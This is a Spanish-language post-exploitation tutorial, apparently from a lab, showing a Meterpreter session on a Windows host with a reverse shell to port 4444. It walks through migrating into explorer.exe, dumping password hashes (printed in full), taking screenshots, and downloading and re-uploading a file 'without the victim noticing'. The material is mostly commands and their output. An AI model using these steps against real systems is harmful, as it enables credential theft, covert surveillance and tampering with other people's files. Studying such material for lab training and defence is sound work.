C:\Users\Administrador\Downloads>ipconfig

ipconfig

Configuración IP de Windows

Adaptador de Ethernet Ethernet0:

 Sufijo DNS específico para la conexión. . :

 Vínculo: dirección IPv6 local. . . : fe80::7169:880b:6768:e50d%12

 Dirección IPv4. . . . . . . . . . . . . .: 192.168.0.175

 Mascara de subred. . . . . . . . . . . .: 255.255.255.0

 Puerta de enlace predeterminada. . . . .: fe80:2e0b:e9ff:fe15:ac19%12

 192.168.0.1

Adaptador de túnel isita. {727A2BB2-165C-4879-9C4D-D4C5E6B12E35}:

 Estado de los medios. . . . . . . . . . . : Medios desconectados

 Sufijo DNS específico para la conexión. . :

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

C:\Users\Administrador\Downloads>netstat

Netstat

Conexiones activas

 Proto Dirección local Dirección remota Estado

 TCP 192.168.0.175:49646 192.168.0.118:4444 ESTABLISHED

 TCP 192.168.0.175:49647 192.168.0.118:4444 ESTABLISHED

 TCP 192.168.0.175:49655 192.168.0.118:4444 ESTABLISHED

 TCP 192.168.0.175:49659 192.168.52.128:4444 SYN\_SENT

 TCP 192.168.0.175:49660 192.168.52.128:4444 SYN\_SENT

 \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Otro de los comandos interesantes es el de migrar nuestro proceso a otro nativo de Windows por ejemplo el de explorer.exe

MIGRATE Permite migrar el proceso de Meterpreter a otro proceso activo, su uso es muy simple basta con especificar un PID activo (que puede ser consultado utilizando el comando “ps” de Meterpreter).

2412 2324 explorer.exe x64 1 WIN-OLLU9KG29C5\Administrador C:\Windows\explorer.exe

meterpreter > migrate 2412

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

al migrar de proceso podemos descargar los hashes de nuestra victima con el comando hashdump

meterpreter > hashdump

Administrador:500:aad3b435b51404eeaad3b435b51404ee:91cc62dc98d28ea4f561139cf878ccd9:::

computaxioaxion2010:1002:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Computaxion:1004:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

computaxion2021:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

meterpreter >

en caso de que hasdump no funcione podemos utilisar el siguiente comando.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

meterpreter > run post/windows/gather/hashdump

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

también podemos descargar un screenshots de la pantalla de la victima con el siguiente comando.

meterpreter > screenshot

Screenshot saved to: /root/kOIgWjwM.jpeg

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Ahora lo que podemos hacer es descargar un archivo y luego lo vamos a modificar y lo vamos a subir nuevamente. Todo sin que la victima sede cuenta

meterpreter > download notocar.txt

[\*] Downloading: notocar.txt -> notocar.txt

[\*] Downloaded 57.00 B of 57.00 B (100.0%): notocar.txt -> notocar.txt

[\*] download : notocar.txt -> notocar.txt

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

meterpreter > upload notocar.txt

[\*] uploading: notocar.txt -> notocar.txt

[\*] Uploaded 132.00 B of 132.00 B (100.0%): notocar.txt -> notocar.txt

[\*] uploaded : notocar.txt -> notocar.txt

meterpreter >

por defecto nos guarda la captura en root.